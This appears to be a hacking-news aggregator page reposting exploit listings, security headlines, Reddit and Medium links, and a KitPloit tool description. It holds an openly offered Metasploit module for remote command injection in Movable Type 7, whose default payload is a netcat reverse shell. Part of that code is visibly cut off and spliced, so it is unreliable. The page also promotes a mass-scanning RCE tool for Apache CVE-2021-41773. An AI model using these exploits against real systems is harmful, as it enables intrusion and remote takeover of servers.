Exploit Collector
Android NFC Type Confusion

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
Android NFC suffers from a type confusion vulnerability due to a race condition during a tag type change.

MD5 | 494a9f73dba12ce43174446f59b9df77

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress NextScripts: Social Networks Auto-Poster 4.3.20 XSS

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Movable Type 7 r.5002 XMLRPC API Remote Command Injection

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
This Metasploit module exploits an XML-RPC API OS command injection vulnerability in Movable Type 7 version r.5002.

MD5 | 83ce14432ae3af4b8694eee10e1b892c

Download
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Movable Type XMLRPC API Remote Command Injection",
'Description' => %q{
This module exploit Movable Type XMLRPC API Remote Command Injection.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Etienne Gervais', # author & msf module,
'Charl-Alexandre Le Brun' # author & msf module
],
'References' =>
[
['CVE', '2021-20837'],
['URL', 'https://movabletype.org/'],
['URL', 'https://nemesis.sh/']
],
'DefaultOptions' =>
{
'SSL' => false,
},
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "2021-10-20",
'DefaultTarget' => 0,
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
}
]
]
))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/'])
], self.class
)
end

def cmd_to_xml(cmd, opts={})
base64_cmd = Rex::Text.encode_base64("`"+cmd+"`")
xml_body =
'POST',
'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
'ctype' => 'text/xml; charset=UTF-8',
'data' => command_payload
})

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200

if res && res.body.include?("Can't locate "+fingerprint)
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
Exploit::CheckCode::Safe
end

def exploit
begin
command_payload = cmd_to_xml(payload.raw)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
'ctype' => 'text/xml; charset=UTF-8',
'data' => command_payload
})

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
A Treehouse of Security Horrors

True-life horrors from conversations with software engineers and developers. D'oh!

Dark Reading: Attacks/Breaches
What Exactly Is Secure Access Service Edge (SASE)?

Any company that supports a hybrid workforce should at least be familiar with this relatively new security approach.

Dark Reading: Attacks/Breaches
Cybercriminals Take Aim at Connected Car Infrastructure

While car makers are paying more attention to cybersecurity, the evolution of automobiles into "software platforms on wheels" and the quick adoption of new features has put connected cars in the crosshairs.

Create a proxy DLL with artifact kit - Cobalt Strike Research and Development
https://www.reddit.com/r/redteamsec/comments/qiieew/create_a_proxy_dll_with_artifact_kit_cobalt/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://blog.cobaltstrike.com/2021/10/29/create-a-proxy-dll-with-artifact-kit/) [comments] (https://www.reddit.com/r/redteamsec/comments/qiieew/create_a_proxy_dll_with_artifact_kit_cobalt/)

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame: U.S. Department of Energy
https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-u-s-department-of-energy-b87a975ce6d9?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Pada kesempatan kali ini, saya akan menceritakan sedikit pengalaman saya masuk ke dalam Hall of Fame (HOF) U.S. Department of Energy..Continue reading on Medium » (https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-u-s-department-of-energy-b87a975ce6d9?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame #2: U.S. Courts Federal Judiciary
https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-2-u-s-courts-federal-judiciary-7f7496648b1c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Pada kesempatan kali ini saya akan menceritakan tentang pengalaman saya dalam menemukan celah keamanan pada situs milik U.S. Courts..Continue reading on Medium » (https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-2-u-s-courts-federal-judiciary-7f7496648b1c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
how may I get infinite cash?: Bloons TD 6

I've been looking everywhere for a way to get unlimited cash in btd6 but so far I got nothing, is there some way for me to hack it so I can get infinite cash? I'm on mobile by the way

submitted by /u/gay_yaoi_role_play
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
anyway for when you inject a usb in a laptop it injects a code / virus

My teacher said i have to do something like i haven’t been listening in class i was thinking of something but then it went out of my mind, anyone got any ideas?

submitted by /u/Its_squidward
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
among us hacks

Im tryna look for some amongus hacks any good ones u guys know???

submitted by /u/MossyCrow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I Hacked My Test Questions

https://cdn-images-1.medium.com/max/1900/1*TwxdY81kt0Md-cy4Ec5qNA.png
My story about how I hacked my test questions. I hope you’ll enjoy and learn something from it.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Scarce-Apache2 - A Framework For Bug Hunting Or Pentesting Targeting Websites That Have CVE-2021-41773 Vulnerability In Public

https://blogger.googleusercontent.com/img/a/AVvXsEhRWcdl04xGOBLlM_g9DzCMsFGGCPy3N36bwNXfArCm8SpaUroy9Mz1Hbu3C1TRfKxBxybgzs-SqbGIEGrRNmRVNsBKR6Q-xz_FidYUIKelwx0WxxGHbUKwuaAxqxbEllP6n3ltZ9GEJ5YooEJjV_t9qXahy8rxhXsfZdsm13xnvEsqubv2pKrmpz_ZTQ=w640-h330 This tool can scan websites with CVE-2021-41773 Vulnerability that are affecting Apache2 Webserver, ScaRCE can run too for executing Remote Command Injections at the webservers that found from the scanning method (Only if the MOD_CGI is Enabled at the targeted webserver). This tool works with the provided Single target or Mass Target from a file list. Only use this tool for Bug Hunting/ Pentesting Purposes. https://blogger.googleusercontent.com/img/a/AVvXsEhcRO_Dx6ScPy-zCqhbv9ZsB2Y5EC8Fo6FWrpWx7sC6H81feJvY1pb5uzirFi7KR2oxTamEqKPWFhxXCSe1KxDJRM7o_OPtZ0E_opEOIPdRH5-K7CLTLOPqYl8AVpIYyPIVzHN2y0b-oX3qT8PJHymUb-zEDweKomCW-IrxvpHMUWYDhxdLHAhrbYyhRg=w640-h316 https://blogger.googleusercontent.com/img/a/AVvXsEibLpxQqYUk-e42cAQqZ79qpvIPld94BKnn9nRm5UKHJHHzCrxMmSyMaEe6e5oqhtxC1eNWqnS_fVBYSzclUT22R3QBDK-dVg6xZmz_UNeVjr8xPea5WH1k8ewTWW1cOFovZuFQKAI3eMTGsaEzRgRzc5Y-Zps4nILNgDM7M8lXAq_dR8u-VQ14vRnw4w=w640-h316 https://blogger.googleusercontent.com/img/a/AVvXsEgITNTPLGq-_s81ClmEAdJnpep5lS-i7ge88cEABBssuGeWiMh_sGZKgZdfBjaSBtF28FxHMTgOgdYMX41-cRlbCm9fsupSbxh9IpupmTp8sfqoEJrktxbd5YYiIb9wjULUrKMQ24wVyYOMXEdo5voYEA9DjZ10AtWjOsnZGvMJj5h9sgKsomPSldh1xw=w640-h330 Installation- git clone https://github.com/HightechSec/scarce-apache2
- cd scarce-apache2
- bash scarce.sh or you can install in your system like this - git clone https://github.com/HightechSec/scarce-apache2
- cd scarce-apache2
- sudo cp scarce.sh /usr/bin/scarce && sudo chmod +x /usr/bin/scarce
- $ scarce Usage* Menu's
* Menu 1is for scanning LFI Vulnerability from a provided file that contains the list of the target urlor a provided single target url.
* Menu 2is for scanning RCE Vulnerability from a provided file that contains the list of the target urlor a provided single target url.
* Menu 3is for Executing RCE from a provided single target url. This will work for the Maybe VulnResults or sometimes with a 500 Error Response.

* URL Format
* Use http://like http://example.comor https://like https://example.comfor the url formatting at Single Target usages
* For Url or IP that has been provided from a List, Don't Use the URL Formatting like eg:
* https://target.com
* http://hackerone.com
* https://bugcrowd.com Requirements* curl
* bash
* git CreditsThanks to:

* CVE-2021-41773 Reproduced by @ptswarm
* Executing RCE in CVE-2021-41773 by @hackerfantastic
* Removing 5xx Error when Running RCE by @lukejahnke Download Scarce-Apache2

___________________________
@hacking_Attack
@Hacking_Video